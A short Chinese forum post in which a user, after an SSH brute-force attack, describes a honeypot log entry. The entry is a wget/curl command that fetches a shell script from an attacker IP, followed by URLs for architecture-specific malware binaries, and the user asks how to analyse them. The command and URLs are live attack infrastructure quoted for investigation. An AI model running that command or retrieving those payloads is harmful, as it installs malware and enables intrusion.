|
被爆破后，听了佬的建议，装了个蜜罐，然后有趣的事情发生了。
昨天被爆破了，在佬的建议下装了个蜜罐，然后发现了好多有趣的事情；
今天坚持log，发现一条记录
wget -O- http://94.156.177.109/sh || curl http://94.156.177.109/sh
看上去像是要从这里下个sh
http://94.156.177.109/sh
然后我把sh下下来了，代码有点多，发不出来；
看了下，这个语言不是很懂，大概意思应该是记录目标主机的系统状态，用户状态，并且根据不同的系统，下载对应的文件，下载地址分别是
# x86_64
http://94.156.177.109/x86_64
# i686
http://94.156.177.109/i686
# aarch64
http://94.156.177.109/aarch64
# arm7
http://94.156.177.109/arm7
文件是下下来了，但是我打不开，有没有懂的佬，教一教下一步怎么搞？ | 
